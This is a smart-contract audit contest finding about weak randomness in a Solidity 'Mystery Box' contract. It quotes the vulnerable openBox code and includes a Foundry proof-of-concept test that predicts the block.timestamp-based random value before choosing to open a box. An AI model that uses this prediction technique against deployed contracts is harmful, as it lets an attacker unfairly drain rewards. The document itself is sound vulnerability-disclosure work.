Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

The 'openBox' function random attack

Summary

The 'openBox' function random attack.Before execute openBox function can know the reward result, do what i want to depend the result.example, only openBox if reward eth >=0.5.

Vulnerability Details

The 'openBox' function is to reward based on random numbers, but random number can know before execute 'openBox' function.The random number depend block.timestamp and msg.sender.The block.timestamp can know before execute 'openBox' function. So judge the randomValue,if randomValue less than 95 I do nothing else I can get more than eth.

function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
// Generate a random number between 0 and 99
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
// Determine the reward based on probability
if (randomValue < 75) {
// 75% chance to get Coal (0-74)
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
// 20% chance to get Bronze Coin (75-94)
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
// 4% chance to get Silver Coin (95-98)
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
// 1% chance to get Gold Coin (99)
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
boxesOwned[msg.sender] -= 1;
}

Impact

Proof of Concepts

function testOpenBoxRandomAttack() public {
vm.deal(user1, 1 ether);
vm.prank(user1);
bool found = false;
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, user1))) % 100;
if(randomValue >= 95){
console.log("find random value",randomValue);
found =true;
}
console.log("block.timestamp",block.timestamp);
console.log("msg.sender",user1);
console.log("encode packed value",uint256(keccak256(abi.encodePacked(block.timestamp, user1))));
console.log(randomValue);
if(found){
mysteryBox.buyBox{value: 0.1 ether}();
console.log("Before Open:", mysteryBox.boxesOwned(user1));
vm.prank(user1);
mysteryBox.openBox();
console.log("After Open:", mysteryBox.boxesOwned(user1));
assertEq(mysteryBox.boxesOwned(user1), 0);
vm.prank(user1);
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
console2.log(rewards[0].name);
assertEq(rewards.length, 1);
}else{
console.log("Not need open box");
}
}

forge test --match-test testOpenBoxRandomAttack -vvv
[⠊] Compiling...
No files changed, compilation skipped

Ran 2 tests for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testOpenBoxRandomAttack() (gas: 12478)
Logs:
Reward Pool Length: 4
block.timestamp 1
msg.sender 0x0000000000000000000000000000000000000001
encode packed value 79427098787440363744605843959239021171168700826295295419751300534756390064915
15
Not need open box

Tools Used

Manual review

Recommendations

Don't use block.timestamp to generate random number,it's unsafe.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!